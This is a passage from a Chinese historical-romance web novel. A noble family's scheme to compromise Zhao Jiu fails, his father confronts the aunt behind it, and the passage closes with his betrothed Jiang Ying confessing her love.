姜璎松开了手,略微有些苦恼地看了朱季灵一眼,想到她原本要脱光衣服钻进赵咎的被窝,小脸又板了起来。
“还不去把衣服穿上?”
“……”朱季灵羞愤欲死,得亏屋里没有点灯,要不然,她真想一头碰死算了!
就在她慌里慌张地捡地上衣服时,房门重重推开!
卫国公饱含怒火道:“你这逆子!可还记得礼义廉耻?!我今日非要清理门户不——”
话未说完,便有尖叫声响起。
朱季灵到底是个未出阁的女郎,这么多人冲进来,就算隔着屏风,没有看光,她也还是控制不住情绪崩溃。
赵老夫人连忙冲进来抱住她,哭着道:“季灵!我的乖孙儿!”
“兄长,你可要为季灵做主啊!”
朱季灵含泪摇头,想要解释,不是,错了!弄错了!
但赵老夫人并没有注意到孙女的异样,而是一个劲叫道:“兄长,你可得好好管教九郎!我只让季灵给他送些补品,他倒好!直接把人欺负成这样!”
“这可让季灵怎么活啊!”一阵捶胸顿足。
“大母……”朱季灵哭出了声,“别说了,别说了。”
卫国公阴着一张脸,王氏和郑氏妯娌俩大气也不敢喘一声,郑氏小声道:“父亲,阿劫不是这种人,他还受着伤呢。”
赵老夫人眼睛一瞪,“你这是什么意思?不是九郎动手,难道还是我们季灵扑上去的不成?”
又悲从中来,捶胸痛哭,“我可怜的季灵,他们是想逼死你啊!”
“大母!不是这样的,你别说了!”
朱季灵紧紧裹着外衫,她还没来得及穿戴整齐,他们就冲了进来,此刻羞愤交加,又有种惶恐不安,只能抓着赵老夫人的袖子试图制止,让她不要再继续说下去了。
卫国公咬牙切齿,一个字一个字从嘴里蹦出来,“赵咎,你这个孽障!还不给我滚出来!”
王氏微微皱眉,“父亲,这其中从此有什么误会……”
“够了!”卫国公难得对儿媳疾言厉色,“都是你们平日里惯得他!”
“父亲?!”王氏不可置信,他明明知道赵咎不是那种人!以赵咎的身份,要什么美姬没有?又怎么会对朱季灵下手?
卫国公面色阴沉。
他心知肚明,这事儿和赵老夫人脱不了干系。
但退一万步来说,就算是朱季灵主动勾引,难道赵咎就没有一点责任吗?
他一个大男人,还能被一个娇滴滴的女郎强迫欺负?
“一个巴掌拍不响!他将人欺负成这样,还有脸躲在里头?来人,给我拿家法来!”卫国公厉声喝道。
众人一听“家法”,脸色都变了。
赵老夫人没想到卫国公会动此真格,心下一喜,看来,这事儿成了大半。
不同于赵老夫人的欢喜,朱季灵只觉惊恐无比。
事情发生到这个地步,已经脱离了他们的掌控!
“不、不是这样的……”
“父亲要请家法?”
清淡的声音响起,却不是从内室传出,而是——门外!
众人齐齐往身后望去,便见门口站着一个青衣少年,面无血色、皱眉冷淡地看着他们。
“你?你?你怎么会在这?!”赵老夫人大惊失色,脱口而出。
王氏见状,心里松了口气。她就知道赵咎是个有成算的,怎么可能在自己家里还能让赵老夫人白白算计了去。
赵咎不疾不徐走进来,手里握着一卷书,见众人神色各异,嘴角微微上挑,道:“真是热闹啊。”
卫国公皱眉,似乎明白过来。
“你不在屋里?那里头的人是谁?”难道是归南?
“怎么了吗?”死寂之中,一个睡意惺忪的小娘子从里头走出来,她揉着眼睛,似乎被吵醒一般,身上衣衫略微褶皱,一眼便知是和衣而卧。
“赵九郎君,你说拿完书就回来继续教我《庄子》的。”姜璎嘟囔道。
揉完眼睛,才看清外间站着的人。
她当场呆住。
脸上满是:发生了什么?!
第99章 妇随
卫国公一一扫过在场诸人,最后目光停留在姜璎身上。
回来那日,他尚未注意到这个年轻女郎,如今仔细一看,竟有一种说不出的熟悉感觉。
像谁呢?
正当卫国公陷入沉思时,边上响起一声尖锐的叫声。
“是你?是你?”赵老夫人像是看见鬼一样的表情,“你怎么会在这?!”
不怪赵老夫人情绪激动,她设想的最坏结果,也不过是孙女被发现,教赵咎赶出去。
为了避免功亏一篑,她特意早些赶来。
谁知道,赵咎早就知悉了她的算计,并且来了一出将计就计。
卫国公被吵得头痛,喝道:“闹够了没有?”他甩袖离开,先一步前往正院。
王氏看了一眼赵咎,微微不赞同,郑氏则是态度相反,经过赵咎身边时还不忘低声表扬一句:
“夫唱妇随,不错啊。”
赵咎嘴角微微上扬,那是。
妯娌二人跟随卫国公一同离开。
“你们——”赵老夫人遭到了兄长的呵斥,侄媳的漠视,气得胸口不断起伏。
朱季灵哽咽着穿上衣服,再也不想留在此处,赵老夫人却拉着她的手,狠狠剜了姜璎一眼,“你放心,大母一定让他们给你一个交代!”
言罢便拉着朱季灵前往正堂。
姜璎一脸莫名其妙,“瞪我做什么?”她只是扶了朱季灵一把,又没有破坏她的清白。
赵咎忍不住大笑,牵起她的手,“走,看热闹去。”
他们刚到,就听见赵老夫人在哭天喊地,甚至脸面都不要了,就要卫国公给个交代。
赵咎嗤笑一声,“什么交代?是准备给我做小?还是给阿池做小?”
卫国公皱眉道:“你给我住口!”
还嫌事情闹的不够大是不是?
赵咎微微挑眉,“我们家没有纳妾的规矩,姑母,你还是死了这条心吧。”
赵老夫人气愤道:“谁说要给你做妾!”
姜璎一听,总不能是看上她了吧,忙道:“我、我也不要。”
正堂安静片刻。
郑氏直接破功笑出了声。
原以为姜璎是故意的,结果她满脸认真。
朱季灵终于忍不住,泣不成声,掩面而逃。
她受够了!
她再也不想继续留在这惹人嘲笑!
大母口口声声能让她嫁到卫国公府,实际上,根本做不到!
“季灵!”孙女的半途而废,让赵老夫人面上无光,她这么做到底是为了谁?
卫国公面若寒霜,“赵佩雯,你闹够没有?非要把赵家整的天翻地覆,不得安宁,你才满意?”
赵老夫人这辈子顺风顺水惯了,哪里忍受得了半点坎坷挫折?
她梗着脖子道:“兄长今日无论如何也要给我个交代,我的孙女不能白白受了这委屈!”
“你还有脸提‘交代’这两个字!”卫国公勃然大怒,左右朱季灵也不在这了,他直接了当道,“你那孙女到底是怎么去的蓼莪院,你心里清楚!”
“她去给九郎送补品!”赵老夫人咬着牙道。
“补品在哪儿?”
郑氏慢悠悠道:“方才好像是看见桌上有一碗羹汤来着,只是,这送补品怎么还送到床上去了?”
“没有!”姜璎生怕她们误会自己对朱季灵做了什么,急急辩解道,“她没上床!”
郑氏面露诧异,“没上床,就自个儿把衣服脱了?”
赵咎慢悠悠道:“这得亏我不在场,要不可就百口莫辩了。”
赵老夫人终于回味过来,不可置信地看着赵咎,手指着他道:“你,你早就知道了?你早就知道了?!”
尖锐声刺耳无比。
赵咎如旁观者一般置身事外,淡淡道:“不知道你在说什么。”
赵老夫人眼神怨恨,这一切就是个局!赵咎一直在等她们走到局里!
“是你,是你和这个小女昌妇一起合起伙来算计我!”
“你说什么?”赵咎眼神陡然锐利,浓浓杀意扑面而来,把赵老夫人吓了一跳!
“当着你父亲的面,你还想杀了我不成?”她声音微微发颤,心里有种不好的预感,赵咎方才是真的起了杀心的!
“赵九郎君才不是这种人。”姜璎反驳道。
不容许任何人诋毁赵咎!
赵老夫人恶狠狠看向她,“这里哪有你说话的份!不知廉耻的东西,就这么睡在男人的内室之中,这不是存心勾引是什么?!”
“你给我住口!”卫国公怒斥道,什么话都说得出口,她还有一个长辈的样子吗?
王氏开口道:“父亲,阿劫和阿池是未婚夫妻,两人虽同处一室,但向来恪守礼仪。平日里在一块,也多是教导学问为主。想来今日阿池读书累了,才在榻上小憩一会儿。”
卫国公忽然转头看向姜璎,问道:“你如今在读什么书?”
姜璎愣了一下,“刚学到《庄子》里头的胠箧,不解其意,正等赵九郎君教我。”
卫国公倒也没说一个女郎不该读《庄子》之类的话,而是颔首道:“你肯上进,是好事。”
这句话算是认可了姜璎的身份。
王氏面露欣慰之色。
郑氏也暗松了口气。
“兄长?!”赵老夫人不甘心道,“他们孤男寡女共处一室,怎么可能……”
“阿王,你们先下去。”卫国公发话道。再怎么样,赵老夫人都是长辈,哪有让小辈看笑话的道理。
“唯唯。”王氏等人恭敬应道。
赵咎轻嗤一声,父子俩对上目光,一个面沉如水,一个冷漠无情。
“阿劫。”郑氏半是嗔怪,半是提醒道,“伤都还没好全呢,还不快回去躺着?”
卫国公这才想起幼子身上还有好大一个伤口。
等人走得差不多,他才开口,语气不容置疑:“你明日就给我收拾东西,离开盛京!”
“凭什么?”赵老夫人瞪大双眼,“这是我的娘家,难道我回自己娘家还有错了?”
卫国公冷笑一声,抬手。
只听见哗啦——
好好的一套茶具,就这么挥落地面,摔成碎片。
“当着晚辈的面,我没有旧事重提,是给你面子!你自己立身不正,还想要使这种下作手段,把孙女塞给赵咎!”
“赵佩雯,你当我的儿子和朱淮一路货色不成?”
提到已故的丈夫,赵佩雯面色苍白一瞬,但很快,她就咬牙切齿,怨忿道:“如果不是你们不肯帮我,我又何至于自毁清白!难道我不要脸面的吗?是你们!口口声声疼我爱我,却连我这么一点心愿都不肯满足!”
啪——!
赵佩雯的脸上很快浮现出一个巴掌印子。
她被扇的脑子空白一片,直到脸上火辣辣的疼提醒着她,才反应过来方才发生了什么。
“你打我?你竟然打我?你怎么对得起阿父阿母!”赵佩雯歇斯底里地怒吼,“他们临终时让你照顾我,你却这么多年对我不闻不问!如今我只想给季灵找个好归宿,你还要推脱!”
“赵堰,你别以为你是开国功臣就了不起!阿父阿母在天有灵,若是知道你这么对我,一定不会放过你的!还有梁帝!他当初……”
啪——!
又是一记耳光。
这一次,直接把赵佩雯扇倒在地。
“我打你又如何?”
卫国公过分温和的语气,让赵佩雯身上泛起一阵阵的寒意。
“你出嫁之后,阿父阿母就病倒了。阿母想你见一面,你却迟迟不肯回信,这两个耳光,是替阿父阿母教训你。”
“我……我不知道……”赵佩雯心虚地闪躲着目光。
她虽然如愿以偿嫁给了朱淮,可夫妻俩感情并不好,收到家书的时候,她正同朱淮置气,哪里管得了其他?
“你不知道?我看你知道得很,你什么都知道。”卫国公冷冷一笑。
他终于想起来姜璎像谁了,她和梁帝,简直就是一个模子里刻出来的!
赵佩雯不怕兄长勃然大怒,反而是现在这种平静,要更吓人一些。
“大兄,我知道错了,我也不想的……”她呜咽一声,鬓发散乱,看着十分可怜,“我是想让赵咎娶季灵,可我没想到,我没想到他会算计我!”
“怎么,就许你算计别人,不许别人算计你?”
“我只是想给季灵安排个好去处!”赵佩雯不甘道,“为什么这点要求你都不满足我?”
卫国公瞥了一眼妹妹,“赵咎已经定了亲事,你是想让我打大娘的脸?”
大娘便是赵太后。
她是卫国公夫妻的长女,自幼受宠,也只有她敢跟父亲呛声而不被责怪。
“行了,别以为我不知道,我没回来的日子,你都做了什么。”卫国公淡淡道,“你的外孙女出嫁,还想让卫国公府给你出嫁妆,怎么,张家的人死光了不成?”
赵佩雯咬牙道:“张家根本不在意琼华这个女儿!”
卫国公不耐道:“那是你的事,跟赵家没有关系,要么自己贴补,要么,你现在就给我滚回朱家。”
“兄长……”赵佩雯颤抖着声音,没想到会从他嘴里听到这样冷血无情的话。
他们不是兄妹吗?
然而,下一刻就有仆婢进来,看样子是要把她拖走。
赵佩雯慌了,“我、我自己想办法!我自己想办法!”惊惧之下,她瘫坐在地。
卫国公冷冷看她一眼,让人扶她回客院,又吩咐底下人,把赵佩雯祖孙几个看牢了,不许她们踏出客院半步。
解决完这事儿,卫国公面色依旧没能有所好转。
“让九郎过来我的书房。”他对外头道。
第100章 提前
书房放了冰鉴,一入内,便有凉爽扑面而来。
“父亲。”赵咎并未行礼,只淡淡地唤了一声。
左右再恭敬也换不来卫国公的一个好脸色,他又何必做无用之功?
更何况,他早就过了想要博取父亲关注的年纪。
“说罢,你到底想做什么。”卫国公坐在书案后,神情喜怒难辨。
“我不知道父亲在说什么。”赵咎道。
卫国公倏忽一声冷笑。
“你当我是傻子不成?你姑母才来赵家多久,要没有你们的纵容,她怎么可能轻而易举收买下人?”
“再一个,客院到蓼莪院少说得走一刻钟,你平日里对蓼莪院把控甚严,我不信别人到你院里,你会一无所知!”
赵咎鲜少踏足父亲的书房,是以眼神扫了一圈,才找到一个坐垫。他也在乎卫国公的看法,直接取了坐垫,端正跪坐一旁。
谁乐意站着说话?
他还有伤在身呢,可不得对自己好点。
“父亲话里话外的意思,是责问我?”赵咎语气颇为好笑,“难道是我让姑母想出这种下作手段?是我请她那宝贝孙女来蓼莪院?”
“你少给我打这些马虎眼!”
卫国公斥道:“你既早知她的算计,为何不禀明长辈,还要来一出将计就计!你是觉得自己很聪明吗?这天底下,就你一个聪明人!”
“我要不聪明,这会儿就该被人玷污清白、名声尽毁了。”赵咎嘲讽道,“禀明长辈?大嫂二嫂可不敢处置姑母,至于父亲你,事情尚未发生,你也顶多和稀泥,呵斥两句。”
“我是母亲生的,不是你生的,在你眼里,我如何比得上一母同胞的嫡亲妹妹?”
“你还有脸提你母亲!”卫国公怒喝一声,手掌拍在书案,砰然作响。
赵咎纹丝不动,冷冷道:“我为何不能提母亲?是母亲十月怀胎将我生下,是母亲对我百般疼爱、悉心教导。母亲最疼的就是我。”
卫国公道:“如果不是因为你,你母亲不会精血亏虚,早早地去……”
赵咎打断道:“是我让母亲年近四十而有身孕的吗?”
卫国公勃然大怒,“你——!”
赵咎嘴角含着讥讽,“父亲,你说,若是母亲知道你这些年的迁怒,她会不会死不瞑目?”
卫国公瞳孔骤然一紧。
身体里的力气仿佛被这句话抽空,一时间,气势不再,眼神之中隐隐流露一丝颓唐。
妻子……会怪他吗?
赵咎神色漠然,有些话本来没必要说的,但卫国公太不识趣了,非要上赶着找骂。
赵家信奉儒家思想,若是上辈子,赵咎或许不会这样直白顶撞父亲,但现在,都死过一次了,他还有什么好顾忌的?
比这更痛击人心的话还有呢!他没说出来,已经很给卫国公面子了!
“没有其他事儿,我先回去了。”赵咎道,准备起身离去,他懒得在这看卫国公怀念亡妻。
人死以后才知道后悔,早干嘛去了?
“你那个未婚妻。”卫国公叫住他,声音略微沙哑,“你知道她亲生父母是谁吗?”
赵咎冷冷道:“你也知道她是我的未婚妻,不是你的。管好你的亲妹妹吧,其他事情,不劳你费心。”
卫国公被他这番大逆不道的话险些气个半死。
这个孽障!
“你既然要娶她,就尽快把婚事办了!”卫国公语气不容置疑,“婚期定在九月!免得一拖再拖,多生事端!”
朱季灵的事情,他不想再出现第二次!
“我考虑考虑。”
赵咎似乎还嫌不够“叛逆”,临走前,当着卫国公的面,一脚把坐垫踢到角落。
“你!”
这个挑衅的举动让卫国公霍然起身,死死瞪着幼子。
“父亲不必起身相送。”赵咎悠悠然道。
在卫国公动手之前,快步迈出书房。
噼里啪啦。
书房传出一阵东西摔碎的声音。
“混账!”还有卫国公中气十足的怒吼。
赵咨和赵哲急匆匆赶来,生怕弟弟挨罚,没成想看到这一幕。
两人面面相觑,赵咨身为长兄,习惯性要说教一二,“你这也太不像话……”
话没说完,就被赵哲打断,“人没事就好。”
老头子本来就年纪越大,越不像话!这要是母亲在世,怎么可能让他这么对阿劫?
赵咨冷哼道:“你就惯着他吧!”
赵咎走过来,赵咨看见弟弟胸口隐隐透出血迹,面色微变,“怎么回事?叫疡医来!”后面那句是对下人说。
“不要紧。”赵咎不甚在意,反被赵咨瞪了一眼,自己的身体都这么不上心!
“你现在年轻,不好好保重身体,等以后老了有你苦头吃!”
赵咨边数落,边示意仆从搀扶赵咎回房,又让疡医给他重新上药。
赵哲在旁边慢悠悠道:“你就惯着他吧。”
赵咨:“……”
等疡医处理好伤口,赵咨这才板起脸,“父亲才回来,平日里已经够忙了,你还要这样气他,太不像话了!”
赵咎漫不经心道:“实话实说罢了,接受不了的人,才该自己反思原因。”
赵咨:“……”
赵哲:“……扑哧。”
“你还笑!”赵咨反手打了赵哲一下,没好气道,“别以为我不知道你们两个都干了些什么!”
“不是,话是他说的,怎么光打我一个?”赵哲叫屈道。
“弟不教,兄之过。”赵咨冷哼一声。
“这也太不公平了!”赵哲忿忿道,“把老四叫回来!他才是最惯阿劫的!”
卫国公还有一个弟弟,外放多年,膝下五子四女,是故赵言排行第四,赵咎排行第九。
赵咎忽然道:“四兄任上不足三年,怕是没这么快回来吧?”
赵哲嘻嘻道:“你想他了?那让大兄想办法,把老四弄回来。”
赵咨:“……”
一群神经病!
正要甩袖离去,又想起什么,停下脚步,警告道:“常家现在盯上你了,你给我好好养伤,不许再折腾出事情来。”
赵咎道:“我什么都没做。”
赵哲附和道:“就是就是。”
狼狈为奸四个字在喉咙滚了一圈,又被赵咨咽了下去。
骂人最重要的就是不能把自己也给骂进去。
赵咨离开以后,赵哲叹了口气道:“阿劫,父亲说的对,还是尽快成婚的好。”
他从袖中取出一块绢帛,“陛下让我带给你的。”
赵咎一目十行,不由坐直了身体。
“秦州太守暴毙?陛下属意姜昀,有意召他入京?”
姜昀,现任姜国公兼天水姜氏族长。
“这么突然……”赵咎喃喃道。看来,真得把婚事提前了。
第101章 撕破
“昏礼提前?”王氏诧异地看着下人,这是公爹的意思?但九月成亲也太赶了一些,就剩下不到两个月,还有好些东西没准备……
她拢了拢眉,让人把郑氏请来,妯娌二人商量了足足一个多时辰。
郑氏不无庆幸:“还好父亲英明,要不然,操持两个人的昏礼,这怎么忙得过来?”
王氏淡淡一笑,吩咐辛夷,“张姑娘的添妆准备好了,就给客院那边送去。”
再怎么厌恶赵老夫人,这面子功夫也不能落下。说到底总归亲戚一场,不过些许银钱,对她而言连九牛一毛都算不上,王氏可不想因为这点儿东西落人话柄。
郑氏也让人从库房里选了二十匹料子,就当添妆了。
“对了,大嫂,既然要筹备昏礼,是不是得通知梁女君一声?”郑氏提起梁女君便心有余悸。
明明只是王老夫人的养女,怎么会有如此气势?
就连王氏这样的高门贵女,赵家冢妇,在梁女君面前都跟个小媳妇似的……
“是得通知一声。”王氏微不可查地叹气,只希望她这个姑母,听到消息以后不要动怒才好。
怎么可能不动怒?
陆家,梁女君听到卫国公府送来的消息,手中茶盏重重落地,素有“净白若雪”美名的白瓷盏,顿时摔了个粉身碎骨。
“欺人太甚!”梁女君咬牙切齿,美丽温婉的美容有一瞬扭曲。
“怎么了?”
随着声音落地,仆婢轻轻掀起玉帘,一个俊美斯文的男人走进来,搂住妻子的肩膀,柔声道:“谁惹你生气了?说出来,我帮你出气。”
梁女君推了他一下,没推动,陆宣看似儒雅,实则最为霸道。她冷笑一声道:“赵家上上下下所有人都惹到我了,你现在就去把他们都杀了!”
陆宣微微挑眉,一旁侍候的仆婢低声道:“卫国公世子夫人派人传话,说卫国公做主,将姑娘和赵九郎的昏礼定在九月……”
陆宣眼中闪过一丝了然,难怪阿薇如此生气。
前梁有个不成文的习俗,家中受宠的女儿,一般都会留到十七八岁再嫁人。
这样一来,过了及笄礼就可以开始备嫁,毕竟定亲成婚,少说也要准备一年以上。
梁女君气愤也是因为这个原因,她本就不愿姜璎下嫁赵家,如今倒好,连六礼都没了!
就连普通商贾结亲都得过六礼,更不要说高门大户,除非是有什么迫不得已的原因,否则谁家会把女儿嫁的这样仓促?
这像什么样子?!
陆宣沉吟片刻,“阿薇,其实早些成亲并不全然都是坏处。”
梁女君冷冷看着他。
陆宣颇为无奈,提醒道:“你别忘了阿池的生父那边。”
梁女君为了给姜璎撑腰,可以说是把两人的关系公之于众,如此动静,要是传到姜璎生父耳中,他还不第一时间赶来?
“他要来就来!我倒要看看他有什么脸面同我争抢孩子!”梁女君冷哼一声,语气不无轻蔑,“再说了,阿池也不可能跟他回家。”
陆宣无奈道:“但他毕竟是阿池的生父,若要强行把人带走,谁能阻拦?”
说句不好听的,也就是姜璎同生父并无感情,要不然,就算成了亲,也照样可以和离改嫁!
遥想当年前梁覆灭,不少士族遭其连累,曾经高高在上的士族女郎一朝落难,被迫嫁给军户,嘴上说报救命之恩,但等父兄寻来,还不是立马离婚归家?
人可尽夫岂是说说而已?
时下风气如此,二嫁三嫁比比皆是!
当然,这些话陆宣是不会说的,他可不想惹恼妻子晚上睡书房。
“既然阿池喜欢,就随她意吧。”陆宣道,“至于六礼,我来安排,到时候你把阿池接回来,娘家人还没死光呢,哪有在婆家出嫁的道理?”
梁女君不甘心,“我已经让人去接阿祭,他到底在做什么?为什么还没到盛京!”
陆宣苦笑,就袁遗那身体,没有死在半路都是老天开恩了!
梁女君越想越气,冷着一张脸起身回内室,让人把姜璎的嫁妆单子拿来,再是如何仓促,她都要让她的外甥女风风光光出嫁!
同样是备嫁,另一边就萧条许多。
卫国公一声令下,客院便彻底封锁起来,每日除了送饭以外,赵老夫人几乎不能跟外界有任何接触。
张琼华原本还想朱季灵目的达成,能帮自己未来夫婿说情,永安侯就这么一个嫡子,如果不能袭爵,姜承祁还有什么前程可言?
结果朱季灵哭着跑了回来,这个蠢货,早该在发现床榻上的人时就该立马离开!现在倒好,不仅算计落空,还连累她的嫁妆也跟着泡汤!
这对表姐妹私下相互怨怼,朱季灵觉得要不是张琼华出馊主意,她压根不会颜面尽失!
两人愈吵愈烈,声音惊醒了赵老夫人,她一气之下晕了过去。
王氏让人请了个郎中,又把这事儿禀报卫国公,卫国公听说张琼华和朱季灵气晕了赵老夫人,心里厌恶更深,摆了摆手将客院的事情全权交给王氏,不再过问。
经此一事,赵老夫人精神头去了大半。
她终于认清现实,含泪出了些私房,又派人回吴郡张氏,把张琼华母亲留下的嫁妆拉过来。
如此拼拼凑凑,也算是勉强填满嫁妆箱子。
这日,外头欢声笑语,好不热闹。
张琼华从送饭的下人口中听闻赵咎和姜璎的婚事提前,忍不住嘲讽朱季灵竹篮打水一场空!
“季灵,给别人做嫁衣的感觉如何?”
两人是彻底撕破脸了。
朱季灵面色铁青,倏忽一声冷笑,“表姐,你还是关心关心自己吧!我回了朱家,照样可以寻到一桩门当户对的婚事,我父母尚在,嫁妆不会少半分。”
“倒是你,那点子嫁妆,要是嫁到永安侯府,还不知道会不会被人耻笑呢!我可是听说,梁女君给姜璎准备的嫁妆,光金器就足足有二十抬!还有商周时期的青铜器,先秦流传的美玉古画,庄园田地、湖泊山林!”
“你呢?”朱季灵嗤笑道,“你手里头,连一间小小的商铺都没有吧。”
张琼华又气又难堪,一时恶从心起,扑上去狠狠抓向她的脸!
狗咬狗,一嘴毛!
第102章 狐狸
“打起来了?”姜璎听得一愣一愣,这对表姐妹的关系不是一直都挺好的吗,怎么说翻脸就翻脸了?
“奴婢听客院那边的下人说,朱姑娘的脸都被抓花了!”香附绘声绘色道,“老夫人气得直哆嗦,愣是说不出一句话来,最后又晕了过去!”
“夫人知道后,直接让人把张姑娘关起来,一日一餐,不许她踏出房门半步!”
姜璎不禁莞尔,一日一餐,这是怕张琼华吃饱了撑的干坏事儿吗?
香附十分解气,在她看来,张琼华沦落到这个下场完全就是咎由自取!
刚来的时候满口孝道,还想让她们姑娘去伺候赵老夫人,结果这么“孝顺”的人,连着把自己嫡亲的外祖母气晕过去两回,真是说的比唱的还好听!
“姑娘,东西收拾的差不多了。”香薷恭敬道。
上午的时候,梁女君亲自来了一趟卫国公府,既是送嫁妆单子,也是同王氏商议成亲的事儿。
当然,最终的目的就是把姜璎带回陆家。
以前是赵咎不乐意姜璎回永安侯府,没办法,所以才在卫国公府出嫁,但现在既然认回了真正的娘家人,自然得遵循礼法。
王氏心里觉得这话在理,吩咐底下人去叫姜璎,让她自己选择。
梁女君脸上的笑容挂不住了,眼神渐冷,她这是想显摆阿池对她肚子里那块肉的在意?
梁女君已经做好被外甥女拒绝的准备了,但出乎意料的是,话一落地,姜璎便点头答应。
梁女君不由喜出望外,“阿池,你真的愿意和姨母……”她眼中隐隐浮现泪花。
“愿意的。”姜璎点了点头,姨母是为了她好,想她在陆家出嫁,名声更好听一些,她又怎么会不识好歹呢?
王氏适时退了出去,把空间留给她们姨甥二人。
梁女君爱怜地抚摸姜璎的脸颊,眼神流露一丝幽怨,“姨母还当你要守着王氏一直到她生呢。”
姜璎听出了浓浓醋味,抿嘴一笑:“邢医官说,世子夫人的身体已经调养得差不多,后续药喝着,一定能平平安安生下孩子。”
“你对她肚子里的孩子倒真是上心。”
“那也是世子夫人先待我好。”姜璎认真道,“赵九郎君救我回来那日,刘氏他们上门讨要,想将我继续送回将军府。是世子夫人和赵九郎君挡在我前面,一直庇护我、教导我。”
“没有他们,我或许早就已经死在将军府的后院,也不能和姨母相认了。”
听到这话,梁女君把姜璎紧紧搂在怀里。
心口泛起一阵一阵的痛楚,她不敢想那样的后果,常家……她不会放过他们的!
姜璎抱住了梁女君的腰,靠在她怀里,喃喃道:“姨母,你说世子夫人这次,会生出男孩,还是女孩儿?”
梁女君面色微僵,精细画成的蛾眉变成倒竖,她一点儿也不想从姜璎嘴里听见有关于王氏的半个字,奈何……梁女君心中暗叹,罢了。
“男孩女孩不都一样吗?”梁女君微微一笑,算是一种保证,“你放心,阿王会平平安安生下孩子的。”
心跳声重归平静。
姜璎轻轻“嗯”了一声,从梁女君怀里出来,“那我去收拾东西,收拾完了再去找姨母。”
梁女君想说不用收拾,她那里什么都有,只会比卫国公府更全面,但姜璎接下来一句话让她立马闭嘴。
“我给姨母准备了礼物。”姜璎露出一个不好意思的笑容。
莫大的惊喜险些冲昏梁女君的头脑,她笑得合不拢嘴,礼物什么的都是次要的,重要的是,阿池惦记她。
梁女君就这么被一句话哄走了。
姜璎也同王氏告退,回房收拾东西。
她东西看着不多,但真收拾起来也废了好大一番功夫。
“姑娘,九郎回来了。”
明·惠帝得知昏礼提前,特意赏赐了不少东西,赵咎借着谢恩的名义进宫,舅甥二人私下商议许久。
姜昀任秦州太守已经是板上钉钉。
自太·祖皇帝以铁血手腕登基立国,清洗了一大批士族,吴郡大姓便元气大伤,天水姜氏直接退出朝堂数十年,汝南袁氏只剩下一个嫡系遗孤。
如今朝中官员,大半都是新贵出身,比如常家、梁家。
常梁两家世代联姻,一个以军功发家,一个祖上盐商,说句金山银山也不为过。若非先帝横插一脚,明惠帝的皇后,梁家嫡长女,原本是该嫁给常六郎的兄长的。
这些朝堂上的事情,赵咎时常会讲给姜璎听。
得益于他的培养,姜璎一下子就听明白了其中隐含的危机。
先帝虽然在临终之前收回了兵权,为儿子铺路,但常家在军中根基已深,不是轻易就能动摇的。
如果常家真的有问题,那么牵连进去的可就不是几百人这么简单的事儿了,说不定朝中还会进行一次大清洗。
明惠帝十二岁即位,至今已经六年。
从小玩到大的交情,加上深厚血缘的加持,令明惠帝对小舅的话深信不疑。
赵咎说常家有通敌卖国的嫌疑,那就是有嫌疑。
“所以,陛下是准备重用士族,以此栽培自己人?”
自己人?赵咎轻笑一声。
重用士族是不可避免的局面,明惠帝此举,不过是想达成一个分庭抗衡的目的。
老牌士族和豪门新贵,就看谁更厉害了。
话题点到为止,赵咎没有再继续下去,而是道:“你去陆家,要不要多带几个下人?”
香薷香附顿时危机感十足!
姜璎摇了摇头,“够了,姨母那边肯定也会安排下人。”
她在陆家备嫁,又不去其他什么地方。
以梁女君的性子,任何一切威胁到姜璎安危的人或事,都会被她扼杀在摇篮。
她带那么多下人过去,反倒容易让姨母多心。
赵咎没有说话。
姜璎弯了弯眼,相处久了,她大概也能摸清赵咎的心理。
他恨不得将她藏在袖子里,日日带在身上。
“要离开我,就这么高兴?”赵咎微微眯眼,语气十分危险。
姜璎摇了摇头,“没有呀。”
赵咎轻哼一声,他虽然做出了让步,但对梁女君的人品是半点不放心。
谁知道她会不会扣着人不放,抑或者找人勾引姜璎。
想到这,赵咎警惕心十足,捧着姜璎软乎乎的小脸,认真问:“阿池,你不会移情别恋的对吧?”
姜璎眨了下眼。
赵咎继续逼问:“为什么不说话,你是不是心虚?”
他控诉道:“我就知道,你夺了我的清白就翻脸不认人……唔。”
姜璎眼疾手快捂住他的嘴。
赵咎用眼神控诉她的恶行。
湿漉漉的杏眸因为水汽晕染而呈现一种无辜感,像狐狸精勾引人的前戏。
“你又勾引我。”姜璎露出苦恼的神情,松开手。
“要不要亲我?”赵咎微微凑近,不否认也不承认,看上去大度极了,“虽然你对我不好,但我也不是记仇的人。”
这还不记仇啊?
姜璎就像是个误入狐狸洞的穷书生,又害怕,又蠢蠢欲动。
她在心里道歉,世子夫人对不起,我是一个没有意志力的人……
“我就亲一下。”矜持的话刚说完,就立刻被狐狸精扑倒。
第103章 表白
接下来足足两个月都不能见面,赵咎可不得多讨点利息?
炽热的阳光透过窗牖,宛若碎金般映着雪白的脸蛋。
温热的气息扑面而来,亲吻紧随其后,蜻蜓点水地落在唇角。
“阿池。”
“嗯?”
趁着唇瓣微微张开,缠绵漫长的吻长驱·直入。
捕获到猎物的同时,他眼中笑意浓浓,一闪而过得逞。
谁要亲一下?
他是那么好打发的人吗?
赵咎轻哼一声。
带着细茧的手掌抚上姜璎的面颊,指腹轻轻摩挲耳垂,惹得面前人一阵颤栗。
“别……”她试图阻止,刚一睁眼,就跌入一片欲色漩涡。
他直勾勾地盯着她,眼神专注认真,亲昵间又透着不容抗拒的强势。
见她睁眼,他似乎意外一瞬,随即弯了弯眼。
像是竹叶青悄悄藏起毒牙,企图用无害的外表蒙蔽心上人。
“阿池……”低唤声撩拨心弦,他得寸进尺,在亲吻的间隙索要承诺,“你会爱我的,对吧?”
会的。
姜璎微微喘息,蝶翼震颤,努力平稳着胸腔的跳动。
她认真道:“赵九郎君,是这世上最好的人,独一无二,绝无仅有。”
“如果我有百宝箱,一定把赵九郎君藏在里面。”
这样,就是独属于她一个人的珍宝了。
直白的话语,令赵咎呼吸紊乱一瞬。
“什么意思?”他步步紧逼,想要一个准确的答案,“这到底是爱,还是恩情?”
姜璎不知道什么是爱,但她觉得,如果她会喜欢上一个人,那这个人肯定是赵咎。
赵咎是第一个对她好的人,嘴上说救她只为满足一己之私,可实际上,他从来没有做过任何伤害她的事情。
这样的不求回报、毫无保留。
胜过千言万语。
姜璎肯定的点头,“我喜欢赵九郎君。”
是看见时会心动,看不见又难免想念的那种喜欢。
惊喜来得太突然,像是脚边的炮竹,炸的赵咎一个措手不及。
他失语半晌,才咬牙切齿道:“阿池,你真的很会说甜言蜜语。”
姜璎歪了歪脑袋思索,有吗?
有的。
赵咎的心跳蹦哒个没完没了,恨不得破胸而出,黏在姜璎身上。
可恶。
他感觉自己都快要被哄成傻子了!
